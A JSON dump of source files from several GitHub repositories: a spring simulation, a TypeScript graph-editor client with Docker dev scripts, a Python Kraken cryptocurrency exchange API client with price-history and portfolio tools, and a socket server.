"import time\n\nmass = [1]\npos = [0]\nvel = [0]\nspring = []\n\ndef add_mass(m, dist=1, rest=1, k=1e4, dr=1):\n mass.append(m)\n pos.append(pos[-1] + dist)\n vel.append(0)\n spring.append((k, dr, rest))\n\nadd_mass(2, dist=1.6, rest=3)\nadd_mass(5, dist=2.4, rest=9)\nadd_mass(9, dist=3.4, rest=4)\nadd_mass(8, dist=7.4, rest=5)\nadd_mass(7, dist=1.4, rest=2)\n\nN = len(pos)\ndt = 0.001\nt = 0\n\nminE = 1e-7\ncurE = 1e6\n\ndef fmt(x): return '{:1.3f}'.format(x)\nwhile curE > minE:\n dists = [fmt(pos[i+1] - pos[i]) for i in range(N-1)]\n print('t='+fmt(t), 'E='+fmt(curE*1000), 'L='+', '.join(dists))\n\n force = [0]*N\n for i in range(N-1):\n (k, dr, rest) = spring[i]\n c = dr * 2 * (k * (mass[i] + mass[i+1]) * 0.5) ** 0.5\n dist = pos[i+1] - pos[i]\n dx = dist - rest\n dv = vel[i+1] - vel[i]\n F = -k * dx - c * dv\n force[i+0] += -F\n force[i+1] += +F\n\n for i in range(N):\n acc = force[i] / mass[i]\n vel[i] += acc * dt\n pos[i] += vel[i] * dt\n\n curE = sum(0.5 * mass[i] * vel[i]**2 for i in range(N))\n\n t += dt\n #time.sleep(dt)\n" }, { "alpha_fraction": 0.34813085198402405, "alphanum_fraction": 0.4532710313796997, "avg_line_length": 21.526315689086914, "blob_id": "21b829676c2676d046ce123270bd6196bda4a91f", "content_id": "4f5858e1f5b5318907a7c90a9d3eac8c096e5de4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JSON", "length_bytes": 428, "license_type": "permissive", "max_line_length": 33, "num_lines": 19, "path": "/client/package.json", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "{\n \"name\": \"yato-client\",\n \"dependencies\": {\n \"@emotion/css\": \"^11.1.3\",\n \"gl-matrix\": \"^3.3.0\",\n \"is-url\": \"^1.2.4\",\n \"react\": \"^17.0.1\",\n \"react-dom\": \"^17.0.1\",\n \"sanitize-html\": \"^2.3.0\",\n \"slate\": \"^0.90.0\",\n \"slate-history\": \"^0.86.0\",\n \"slate-react\": \"^0.88.2\"\n },\n \"devDependencies\": {\n \"@types/is-url\": \"^1.2.28\",\n \"@types/react\": \"^17.0.0\",\n \"@types/react-dom\": \"^17.0.0\"\n }\n}\n" }, { "alpha_fraction": 0.48526522517204285, "alphanum_fraction": 0.49050426483154297, "avg_line_length": 20.20833396911621, "blob_id": "68d59819bdc7a70cafc71c3cccc6e9d2376fbf7b", "content_id": "07cfdcf1f360cc962944950f9cd0e75183de2938", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1527, "license_type": "permissive", "max_line_length": 84, "num_lines": 72, "path": "/client/src/util/stats.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "export type Stat = {\n log: number[],\n cnt: number,\n tot: number,\n min: number,\n max: number,\n frame_last?: number,\n}\n\nexport type Api = {\n map: Map<string, Stat>,\n update: ( s: string, v: number ) => void,\n time: <T extends any[], R>( s: string, f: ( ...args: T ) => R, ...args: T ) => R,\n markFrame: ( s: string ) => void,\n cancelFrame: ( s: string ) => void,\n}\n\nexport const getSetDefault = <K, V>( map: Map<K, V>, key: K, fdef: () => V ): V => {\n let val = map.get( key )\n if ( val === undefined ) {\n val = fdef()\n map.set( key, val )\n }\n return val\n}\n\nexport const init = (): Api => {\n\n const map = new Map<string, Stat>()\n\n const get = ( s: string ): Stat => {\n return getSetDefault( map, s, () =>\n ({ log: [], min: Infinity, max: 0, tot: 0, cnt: 0 })\n )\n }\n\n const update = ( s: string, v: number ) => {\n const x = get( s )\n x.log.push( v )\n x.cnt += 1\n x.tot += v\n x.min = Math.min( x.min, v )\n x.max = Math.max( x.max, v )\n }\n\n return {\n map: map,\n\n update: update,\n\n time: ( s, f, ...args ) => {\n const beg = performance.now()\n const res = f( ...args )\n const end = performance.now()\n update( s, end - beg )\n return res\n },\n\n markFrame: ( s ) => {\n const x = get( s )\n const now = performance.now()\n if ( x.frame_last !== undefined ) {\n update( s, 1000 / ( now - x.frame_last ) )\n }\n x.frame_last = now\n },\n\n cancelFrame: ( s ) => {\n get( s ).frame_last = undefined\n },\n }\n}\n" }, { "alpha_fraction": 0.6086052656173706, "alphanum_fraction": 0.6086052656173706, "avg_line_length": 38.434425354003906, "blob_id": "d10a8f06d988dba60fac54fd95f56174be05ed67", "content_id": "0940229a37369b64d3c0ac09e238741da1daa14d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 4811, "license_type": "permissive", "max_line_length": 105, "num_lines": 122, "path": "/client/src/ui.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as ViewApi from './view/api.js'\nimport * as GraphView from './view/graphView.js'\nimport * as Overlay from './view/overlay.js'\nimport * as Banner from './view/banner.js'\nimport * as input from './control/input.js'\nimport * as Text from './view/textUtil.js'\nimport * as View from './control/view.js'\nimport * as Interaction from './control/interaction.js'\nimport * as Stats from './util/stats.js'\nimport * as Actions from './control/actions.js'\nimport * as Options from './options.js'\nimport * as Remote from '../output/Yato.Client.Remote'\nimport * as G from '../output/Yato.Common.Graph'\nimport * as ThemeEditor from './view/themeEditor.js'\nimport * as Schedule from './control/schedule.js'\n\nconst loadJson = async <T>( filename: string ): Promise<T> => {\n const res = await fetch( filename )\n return <T> await res.json()\n}\n\nconst initOptions = ( devMode: boolean ): Options.All => {\n const options: Options.All = JSON.parse( window.localStorage.options ? window.localStorage.options :\n JSON.stringify( Options.defaults ) )\n options.devMode = options.devMode || devMode\n window.localStorage.options = JSON.stringify( options )\n return options\n}\n\n// InputController -> InteractionController -> UserActions -> RemoteServer\n// |\n// V\n// ViewController\n\nexport const mainTs = ( graphId: G.GraphId, devMode: boolean, remote: Remote.Remote ): void => {\n\n const stats = Stats.init()\n const canvas = <HTMLCanvasElement> document.getElementById( 'canvas' )\n\n const pfont = loadJson<Text.FontMetrics>( 'assets/fonts/DejaVuSerif.json' )\n const options = initOptions( devMode )\n\n const cachedTheme = window.localStorage.getItem( 'theme' )\n const themeName = cachedTheme ? cachedTheme : 'minimalist'\n const ptheme = fetch( '/getTheme?name=' + themeName ).then( r => r.json() )\n\n const vstate = ViewApi.initState()\n const gview = GraphView.init( graphId )\n\n ;( async () => {\n const [ font, theme ] = await Promise.all( [ pfont, ptheme ] )\n const gref = {graph: G.empty}\n const getGraph = () => gref.graph\n\n const view = View.init( stats, options, Banner.init(), vstate, getGraph, gview, canvas, font, theme )\n ThemeEditor.init( theme, themeName, view.refresh )\n\n Overlay.init( stats, options, graphId, view.refresh.bind( null, true, true ) )\n\n const actions = Actions.init( gref, ( op ) => {\n // Forward client operations to server.\n Remote.send( remote )( op )()\n view.update()\n scheduleOverlay.updateFromGraph( gref.graph )\n } )\n\n const scheduleOverlay = Schedule.init( actions )\n const icontrol = Interaction.init( options, stats, vstate, getGraph, scheduleOverlay, view, actions )\n const container = <HTMLCanvasElement>document.querySelector( \"#canvas-container\" )\n input.init( container, icontrol )\n\n let first = true\n while (true) {\n // Receive validated operations from server.\n const st = await Remote.syncTs( remote )()\n gref.graph = st.graph\n actions.sync( st )\n ;( (): {} => {\n switch (vstate.mode.id) {\n case 'none': return {}\n case 'scheduleOverlay': return {}\n case 'panView': return {}\n case 'dragNode':\n vstate.mode.nodeId = st.nodeMap( vstate.mode.nodeId )\n if (vstate.mode.reparent !== undefined &&\n vstate.mode.reparent.nodeId !== undefined) {\n vstate.mode.reparent.nodeId = st.nodeMap( vstate.mode.reparent.nodeId )\n }\n return {}\n case 'hoverNode':\n vstate.mode.nodeId = st.nodeMap( vstate.mode.nodeId )\n return {}\n case 'hoverEdge':\n vstate.mode.fromId = st.nodeMap( vstate.mode.fromId )\n vstate.mode.toId = st.nodeMap( vstate.mode.toId )\n return {}\n case 'addEdge':\n vstate.mode.fromId = st.nodeMap( vstate.mode.fromId )\n if (vstate.mode.toId !== undefined)\n vstate.mode.toId = st.nodeMap( vstate.mode.toId )\n return {}\n case 'selectNode':\n vstate.mode.nodeId = st.nodeMap( vstate.mode.nodeId )\n return {}\n case 'infoCard':\n vstate.mode.nodeId = st.nodeMap( vstate.mode.nodeId )\n return {}\n case 'menuWheelNode':\n vstate.mode.nodeId = st.nodeMap( vstate.mode.nodeId )\n return {}\n case 'menuWheelEdge':\n vstate.mode.fromId = st.nodeMap( vstate.mode.fromId )\n vstate.mode.toId = st.nodeMap( vstate.mode.toId )\n return {}\n }\n } )()\n view.update( false, first, st )\n scheduleOverlay.updateFromGraph( gref.graph )\n first = false\n }\n } )()\n}\n" }, { "alpha_fraction": 0.52173912525177, "alphanum_fraction": 0.52173912525177, "avg_line_length": 18.31999969482422, "blob_id": "b9afd7bf1796f07c604791c9e74ed7cfad9a37cb", "content_id": "7675b5c89bc09ed994527202c02f686d9febff87", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 483, "license_type": "permissive", "max_line_length": 63, "num_lines": 25, "path": "/client/src/UtilPurified/Socket.js", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\"use strict\"\n\nexports._newSocket = (path) => () => {\n return new WebSocket( path )\n}\n\nexports._readyState = (sock) => () => {\n return sock.readyState\n}\n\nexports._close = (sock) => () => {\n sock.close()\n}\n\nexports._send = (sock) => (buf) => () => {\n sock.send( buf )\n}\n\nexports._onMessage = (sock) => (cb) => () => {\n sock.addEventListener( 'message', (evt) => cb( evt.data )() )\n}\n\nexports._on = (name) => (sock) => (cb) => () => {\n sock.addEventListener( name, () => cb() )\n}\n" }, { "alpha_fraction": 0.5615848302841187, "alphanum_fraction": 0.5938845872879028, "avg_line_length": 30.364864349365234, "blob_id": "125c567b0a34bb5d3b39cc889622ef416ff1b692", "content_id": "2298f71a0acdcb61766c817ac0bf8677733006ee", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2322, "license_type": "permissive", "max_line_length": 71, "num_lines": 74, "path": "/client/src/options.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "\nexport type SimParams = {\n timeStep: number,\n springLength: number,\n springCoeff: number,\n dampCoeff: number,\n coulombCoeff: number,\n collisionCoeff: number,\n collisionRadius: number,\n dragCoeff: number,\n minMovement: number,\n maxSpeed: number,\n stepsToFull: number,\n stepsToAdvance: number,\n subSteps: number,\n pausedOnStart: number,\n historyLength: number,\n}\n\nexport type SimParamInfo = { min: number, max: number, int: boolean }\n\nexport const simParamInfo = ( k: keyof SimParams ): SimParamInfo => {\n switch ( k ) {\n case \"timeStep\": return { min: 1e-3, max: 1e-1, int: false }\n case \"springLength\": return { min: 1e-1, max: 1e+1, int: false }\n case \"springCoeff\": return { min: 0, max: 100 , int: false }\n case \"dampCoeff\": return { min: 0, max: 2 , int: false }\n case \"coulombCoeff\": return { min: 0, max: 2e4 , int: false }\n case \"collisionCoeff\": return { min: 0, max: 1e4 , int: false }\n case \"collisionRadius\": return { min: 0, max: 2 , int: false }\n case \"dragCoeff\": return { min: 0, max: 1 , int: false }\n case \"maxSpeed\": return { min: 0, max: 100 , int: false }\n case \"minMovement\": return { min: 0, max: 1e+2, int: false }\n case \"stepsToFull\": return { min: 1, max: 1e+3, int: true }\n case \"stepsToAdvance\": return { min: 1, max: 1e2 , int: true }\n case \"subSteps\": return { min: 1, max: 1e2 , int: true }\n case \"pausedOnStart\": return { min: 0, max: 1, int: true }\n case \"historyLength\": return { min: 0, max: 1e3 , int: true }\n }\n}\n\nexport type All = {\n simParams: SimParams,\n simParamsShow: boolean,\n profiling: boolean,\n oreoMode: boolean,\n themesOpen: boolean,\n devMode: boolean,\n\n}\n\nexport const defaults: All = {\n profiling: false,\n oreoMode: false,\n themesOpen: false,\n simParamsShow: false,\n simParams: {\n timeStep: 0.01,\n springLength: 0.70,\n springCoeff: 115,\n dampCoeff: 0.5,\n coulombCoeff: 2e4,\n collisionCoeff: 1e3,\n collisionRadius: 1.5,\n dragCoeff: 0.03,\n maxSpeed: 10,\n minMovement: 0.2,\n stepsToFull: 45,\n stepsToAdvance: 1,\n subSteps: 1,\n pausedOnStart: 0,\n historyLength: 0,\n },\n devMode: false,\n}\n" }, { "alpha_fraction": 0.686274528503418, "alphanum_fraction": 0.686274528503418, "avg_line_length": 19.600000381469727, "blob_id": "85375ab953b5fa3b018a559aebc5fbfb9cd0a7ff", "content_id": "e322844c7b5cde0f4ec683f223a064f75ce675c6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 102, "license_type": "permissive", "max_line_length": 34, "num_lines": 5, "path": "/server/build-help.sh", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "#!/bin/sh\nset -e\ntgt=../doc/autogen/server-help.txt\necho \"Generating $tgt\"\nnode index.js --help > $tgt" }, { "alpha_fraction": 0.7162356376647949, "alphanum_fraction": 0.7198275923728943, "avg_line_length": 36.621620178222656, "blob_id": "ff8ed4e56cdf4ba146a96aed4d755e950c1fd051", "content_id": "f880ff465ca9d0501c38acfd325f8d8b84ac34ab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1392, "license_type": "permissive", "max_line_length": 79, "num_lines": 37, "path": "/cmd.sh", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "#!/bin/sh\nset -e\n\n# The final docker run command needs to know the host project directory\n# in order to map it into docker run commands that it sends to host docker.\nPROJ_DIR=$(pwd)\n\n# Build the base image used for development and release.\nDOCKER_BUILDKIT=1 docker build -t yato.base - < base.dockerfile\n\n# Build the development image, matching the user and docker IDs of the host.\nDOCKER_BUILDKIT=1 docker build \\\n --build-arg HOST_UID=`id -u` \\\n --build-arg HOST_GID=`id -g` \\\n --build-arg DOCKER_GID=`getent group docker | cut -d: -f3` \\\n -t yato.dev -f cmd.dockerfile tools\n\n# Setup config directories so host docker doesn't create them as root.\nconfig_ssh=.ssh\nconfig_dck=.docker\nconfig_gcp=.config/gcloud\nmkdir -p $HOME/$config_ssh\nmkdir -p $HOME/$config_dck\nmkdir -p $HOME/$config_gcp\n\n# Run dockerized top-level command script with minimal host directories mapped:\n# - docker.sock to connect the dockerized docker client with the host docker\n# - config directories to share account authentication with the host\n# - project directory to support watch/incremental builds\ndocker run -it --rm \\\n -v /var/run/docker.sock:/var/run/docker.sock \\\n -v $HOME/$config_ssh:/home/user/$config_ssh \\\n -v $HOME/$config_dck:/home/user/$config_dck \\\n -v $HOME/$config_gcp:/home/user/$config_gcp \\\n -v $PROJ_DIR:/home/user/yato \\\n -e PROJ_DIR=$PROJ_DIR \\\n yato.dev python3.8 -m cmd $*\n" } ]
60
mdrdatalab/pykraken
https://github.com/mdrdatalab/pykraken
40575857fd947be6457e9734b25d9a1364d64880
32a32f7bcd784b731ab88c4a112053f364d7c3d0
63deab53fa6d9f535468fddd6c2a4c8a97dbd4e2
refs/heads/master
2020-12-03T00:37:55.281160
2017-07-20T19:12:23
2017-07-20T19:12:23
96,052,178
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.824411153793335, "alphanum_fraction": 0.824411153793335, "avg_line_length": 50.88888931274414, "blob_id": "d6328648d7006e3c1dd2bc3f81a041cb6b80ef2f", "content_id": "7cc2781e56eb1a7acf3795d0ac63c71b41086a35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 467, "license_type": "no_license", "max_line_length": 136, "num_lines": 9, "path": "/README.md", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# pykraken\nPython scripts for working with Kraken cryptocurrency exchange\n\nconnection, api, and queries provide interfaces into the Kraken cryptocurrency exchange via the API.\nportfolio history reads in the ledger history from a portfolio\nprice history are various functions to help construct the price history of an asset pair\n\n\nThe ultimate goal will be to have a variety of information on a users portfolio, tradeable assets, analysis, and automated trading bots.\n" }, { "alpha_fraction": 0.4972577691078186, "alphanum_fraction": 0.5191956162452698, "avg_line_length": 22.53333282470703, "blob_id": "5663219716153266c8efe283732257eb0855b14f", "content_id": "437306f1d8cd3fd5bacb6cab1ca2343c0db6ec2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1094, "license_type": "no_license", "max_line_length": 69, "num_lines": 45, "path": "/connection.py", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 24 05:58:36 2017\n\n@author: michael\n\"\"\"\n\nimport http.client\nimport urllib.request\nimport urllib.parse\nimport urllib.error\n\nclass Connection(object):\n \n def __init__(self, uri='api.kraken.com', timeout=30):\n \n self.headers = {\n 'User-Agent': 'pykraken'\n }\n self.conn = http.client.HTTPSConnection(uri, timeout=timeout)\n return\n \n def close(self):\n \n self.conn.close()\n return\n \n def _request(self, url, req=None, headers=None):\n \n if req is None:\n req = {}\n \n if headers is None:\n headers = {}\n \n data = urllib.parse.urlencode(req)\n headers.update(self.headers)\n \n self.conn.request('POST', url, data, headers)\n response = self.conn.getresponse()\n \n if response.status not in (200, 201, 202):\n raise http.client.HTTPException(response.status)\n \n return response.read().decode()\n \n \n \n " }, { "alpha_fraction": 0.5482275485992432, "alphanum_fraction": 0.5570211410522461, "avg_line_length": 26.945735931396484, "blob_id": "1c7ec49b7113818d9bacb3dd42c07577b8418423", "content_id": "71b526b7b25cfe8f83e3cba7025abf6eabe5d2b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3639, "license_type": "no_license", "max_line_length": 84, "num_lines": 129, "path": "/priceHistory.py", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 2 20:05:15 2017\n\n@author: michael\n\"\"\"\n\nimport queries\nimport time\nimport csv\nimport os.path\nimport datetime\nimport numpy as np\n\ndef get_history(asset):\n \n pairs = queries.get_pairs()\n pairs = list(pairs.keys())\n last = 0 \n trades = []\n #TODO: I don't like only having it in USD anymore... fix this?\n pair = asset+'ZUSD'\n \n #TODO: first check if price history has been saved, load it if so \n if os.path.isfile('data\\\\'+pair+'-history.csv'):\n history = hist_reader(pair)\n last = history['last']\n trades = history['trades']\n #why list doesn't come out flat?\n if pair in pairs:\n print('yes')\n\n temp = {pair: ['x'], last: 0}\n while temp[pair] != []:\n try:\n print(last)\n temp = queries.get_trades(pair, last)\n last = temp['last']\n for t in temp[pair]:\n trades.append(t)\n time.sleep(1)\n except Exception as e:\n print('Error: ', e)\n history = {'trades': trades, 'last': last}\n hist_writer(pair, history) \n return history\n \n\ndef hist_writer(pair, history): \n with open('data\\%s-history.csv' % pair, 'w', newline='') as f:\n writer = csv.writer(f, quoting=csv.QUOTE_ALL)\n writer.writerow([history['last']])\n writer.writerows(history['trades'])\n\ndef hist_reader(pair): \n trades = [] \n with open('data\\%s-history.csv' % pair, 'r') as f:\n reader = csv.reader(f)\n #TODO: make sure last gets written properly, then fix below on read\n last = next(reader)[0]\n for row in reader:\n trades.append(row)\n history = {'last': last, 'trades': trades}\n return history\n\n\n\ndef compute_ohlc(trades):\n '''\n takes a window of trades and computes open price, close price, low price,\n high price, volume weighted average price, volume, and count\n '''\n trades = np.array(trades)[:,0:3].astype(float)\n count = len(trades)\n p_open = trades[0][0]\n p_close = trades[-1][0] \n p_high = max(trades[:,0])\n p_low = min(trades[:,0])\n volume = sum(trades[:,1])\n vwap = sum(trades[:,0]*trades[:,1])/volume\n ohlc = {'open': p_open,\n 'close': p_close,\n 'high': p_high,\n 'low': p_low,\n 'volume': volume,\n 'vwap': vwap,\n 'count': count}\n \n return ohlc\n \n \ndef get_ohlc(pair, interval=1440, start=None, end=None):\n '''\n retrieves trade history for a pair between start and end\n and returns ohlc data for that window at specified interval\n '''\n # get trade data\n # filter by window\n # break down into interval\n # iteratively retrieve ohlc per window\n pass\n \n \n\n\n\n#asset or pair?\ndef groupHist(pair):\n #read history\n #for each trade, extract datetime\n #place in dict for year:month:date\n #return dict\n history = {}\n #maybe do this through get_history so it updates?\n trades = hist_reader(pair)['trades']\n for trade in trades:\n date = datetime.datetime.fromtimestamp(float(trade[2])) #index of timestamp\n year = date.year\n month = date.month\n day = date.day\n if not year in history.keys():\n history[year] = {}\n if not month in history[year].keys():\n history[year][month] = {}\n if not day in history[year][month].keys():\n history[year][month][day] = []\n history[year][month][day].append(trade)\n print('Done')\n return history\n \n \n \n \n\n\n" }, { "alpha_fraction": 0.4747474789619446, "alphanum_fraction": 0.4890572428703308, "avg_line_length": 23.913978576660156, "blob_id": "8e254d5d38b0c799ed7d2db2df6a97d663b130bc", "content_id": "55979807d50158d16927beeb202b600524b18bf1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2376, "license_type": "no_license", "max_line_length": 69, "num_lines": 93, "path": "/api.py", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 24 06:19:39 2017\n\n@author: michael\n\"\"\"\n\nimport json\nimport urllib.request\nimport urllib.parse\nimport urllib.error\n\nimport time\n\nimport hashlib\nimport hmac\nimport base64\n\nimport connection\n\n\nclass API(object):\n \n def __init__(self, key='', secret='', conn=None):\n \n self.key = key\n self.secret = secret\n self.uri = 'https://api.kraken.com'\n self.apiversion = '0'\n self.conn = conn\n return\n \n def load_key(self, path):\n \n with open(path, 'r') as f:\n self.key = f.readline().strip()\n self.secret = f.readline().strip()\n return\n \n def set_connection(self, conn):\n \n self.conn = conn\n return\n \n def _query(self, urlpath, req, conn=None, headers=None):\n \n url = self.uri + urlpath\n \n if conn is None:\n if self.conn is None:\n conn = connection.Connection()\n else:\n conn = self.conn\n \n if headers is None:\n headers = {}\n \n ret = conn._request(url, req, headers)\n return json.loads(ret)\n \n def query_public(self, method, req=None, conn=None):\n \n urlpath = '/' + self.apiversion + '/public/' + method\n \n if req is None:\n req = {}\n \n return self._query(urlpath, req, conn)\n \n def query_private(self, method, req=None, conn=None):\n \n if req is None:\n req = {}\n \n # TODO: check if self.{key,secret} are set\n urlpath = '/' + self.apiversion + '/private/' + method\n \n req['nonce'] = int(1000*time.time())\n postdata = urllib.parse.urlencode(req)\n \n encoded = (str(req['nonce']) + postdata).encode()\n message = urlpath.encode() + hashlib.sha256(encoded).digest()\n \n signature = hmac.new(base64.b64decode(self.secret),\n message, hashlib.sha512)\n sigdigest = base64.b64encode(signature.digest())\n \n headers = {\n 'API-Key': self.key, \n 'API-Sign': sigdigest.decode()\n }\n\n return self._query(urlpath, req, conn, headers)\n\n \n \n \n \n \n " }, { "alpha_fraction": 0.5732899308204651, "alphanum_fraction": 0.6123778223991394, "avg_line_length": 21, "blob_id": "8d3c59e1f8d866c84000fcea8948bad1148e8c13", "content_id": "e5764405caa262e2fe6272826f70345cfb7df3b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 307, "license_type": "no_license", "max_line_length": 72, "num_lines": 14, "path": "/portfolioHistory.py", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 2 18:48:06 2017\n\n@author: michael\n\"\"\"\n\nimport queries\nimport datetime as dt\nimport pandas as pd\n\nledger = pd.DataFrame.from_dict(queries.get_ledger(),\n orient='index').sort_values(by=['time'])\nassets = list(set(ledger['asset']))" }, { "alpha_fraction": 0.5778175592422485, "alphanum_fraction": 0.5885509848594666, "avg_line_length": 18.29310417175293, "blob_id": "36f1daefa2b3a2954544b44ce86208cc6bee9a12", "content_id": "c2c6453e4ff2f50a5af99242c7c3cd3330641adf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1118, "license_type": "no_license", "max_line_length": 57, "num_lines": 58, "path": "/queries.py", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 1 14:16:38 2017\n\n@author: michael\n\"\"\"\n\n\nimport api\n\n\nk = api.API()\nk.load_key('kraken.key')\n\n###Public\ndef get_pairs():\n '''Returns pairs'''\n\n pairs = k.query_public('AssetPairs')\n # TODO: error handling\n # TODO: clean up returned data \n \n return pairs['result']\n \ndef get_ticker(assetPairs):\n '''\n Input: comma delimited list of asset pairs\n Output:\n '''\n # TODO: error handling\n req = {'pair':','.join(assetPairs)}\n ticker = k.query_public('Ticker', req)\n return ticker['result']\n\ndef get_orders(pair):\n\n req = {'pair':pair}\n ob = k.query_public('Depth', req)\n return ob['result']\n \ndef get_trades(pair, since):\n '''\n Outputs: list of trades, last id for next\n '''\n req = {'pair':pair, 'since':since}\n return k.query_public('Trades', req)['result']\n \n\n\n###Private\ndef get_balance():\n return k.query_private('Balance')['result']\n \ndef get_history():\n return k.query_private('TradesHistory')\n \ndef get_ledger():\n return k.query_private('Ledgers')['result']['ledger']" }, { "alpha_fraction": 0.5438957214355469, "alphanum_fraction": 0.5548697113990784, "avg_line_length": 24.10344886779785, "blob_id": "2421cf6fc63fd2638ed99958ab93af1f58e4dd4e", "content_id": "46318694a029bdf4951afaeadf9de577a91b482e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1458, "license_type": "no_license", "max_line_length": 53, "num_lines": 58, "path": "/simPortfolio-v0.py", "repo_name": "mdrdatalab/pykraken", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 19 18:32:51 2017\n\n@author: michael\n\"\"\"\n\nimport queries\n\n#TODO make this work for all pairs...\n#works for XXBT, XETH\n\n#TODO make one for historical prices...\n\nclass portfolio():\n \n def __init__(self, initial_funds):\n self.initial_funds = initial_funds\n self.balance = {'ZUSD': self.initial_funds}\n \n\n\n def buy(self, asset, qty):\n price = get_price('buy', asset)\n #check available funds\n cost = price * qty\n if self.balance['ZUSD'] >= cost:\n self.balance['ZUSD'] -= cost\n if not asset in self.balance.keys():\n self.balance[asset] = 0\n self.balance[asset] += qty\n else:\n print('Insufficient Funds')\n \n def sell(self, asset, qty):\n if not asset in self.balance.keys():\n print('Insusfficient Funds')\n return\n if self.balance[asset] < qty:\n print('Insufficient Funds')\n return\n price = get_price('sell', asset)\n self.balance['ZUSD'] += price*qty\n self.balance[asset] -= qty\n \n \n\ndef get_price(action, asset):\n pair = asset +'ZUSD'\n orders = queries.get_orders(pair)[pair]\n if action == 'buy':\n prices = orders['asks']\n else:\n prices = orders['bids']\n #simple version here takes price as first element\n #TODO incorporate qty\n \n return float(prices[0][0])\n\n\n" } ]
7
bernardomaia/vlwflw
https://github.com/bernardomaia/vlwflw
b634e1d9a6be84e4dde9f8ba8a2fe7f3092991bf
1227601b92046e87e4de0bf2f4dac7a8d888d0cc
a026b6be9b0e69cbc8d0f98eac01ec1596da1885
refs/heads/master
2020-12-25T12:17:25.062230
2016-06-18T03:35:14
2016-06-18T03:35:14
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5606803297996521, "alphanum_fraction": 0.5707696676254272, "avg_line_length": 31.735849380493164, "blob_id": "5fd1be32841efa8f41653fe188a1a0ee4071d53a", "content_id": "94e2f95c85b0a5661ed0c322d650343cb84d0bd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3469, "license_type": "no_license", "max_line_length": 101, "num_lines": 106, "path": "/Servidor.py", "repo_name": "bernardomaia/vlwflw", "src_encoding": "UTF-8", "text": "import socket\nimport threading\nimport struct\nimport atexit\n\nimport sys\nimport logging\nlogging.basicConfig(stream=sys.stderr, level=logging.INFO)\n\n\nBIND_IP = '0.0.0.0'\nBIND_PORT = 9001\n\n\n\nclass Servidor:\n listaClientes = []\n \n passiveConnection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n passiveConnection.bind(( BIND_IP, BIND_PORT))\n passiveConnection.listen(5)\n print\"[*] Listening on %s:%d\" % (BIND_IP, BIND_PORT)\n \n \n def __init__(self):\n atexit.register(self.fecharConexao)\n \n \n while 1:\n client, addr = self.passiveConnection.accept()\n print \"[*] Accepted connection from: %s:%d\" %(addr[0], addr[1])\n client_handler = threading.Thread(target=self.handle_client, args=(client,))\n client_handler.start()\n \n def handle_client(self, conexao):\n\n def recebe():\n resposta = conexao.recv(struct.calcsize('!HHHIIH'))\n if (len(resposta) > 0):\n tipo, origem, destino, seqNo, timestamp, tamanho = struct.unpack('!HHHIIH', resposta)\n corpo = \"\"\n if (tamanho > 0):\n corpo = conexao.recv(tamanho)\n return tipo, origem, destino, seqNo, timestamp, tamanho, corpo\n \n \n tipo,origem,_,seqNo,timestamp,_,corpo = recebe()\n if (tipo == 0):\n if (self.hasCliente(origem) == False):\n self.enviaOK(conexao, origem, seqNo, timestamp)\n self.listaClientes.append([origem, conexao])\n logging.info(\"Novo cliente. ID = %d %s\", origem, str(conexao.getpeername())) \n else:\n novoID = self.encontraIdDisponivel(origem)\n self.enviaOKnovoID(conexao, origem, seqNo, timestamp, novoID)\n self.listaClientes.append([novoID, conexao])\n logging.info(\"Novo cliente. ID = %d %s\", novoID, str(conexao.getpeername()))\n \n tipo,origem,_,seqNo,timestamp,_,corpo = recebe()\n if (tipo == 1):\n self.listaClientes.remove([origem,conexao])\n print \"Removi o cliente \", origem\n \n \n \n \n \n def hasCliente(self, c):\n for [id, socket] in self.listaClientes:\n if (id == c):\n return True\n return False\n \n def enviaOK(self, conexao, idCliente, seqNo, timestamp):\n 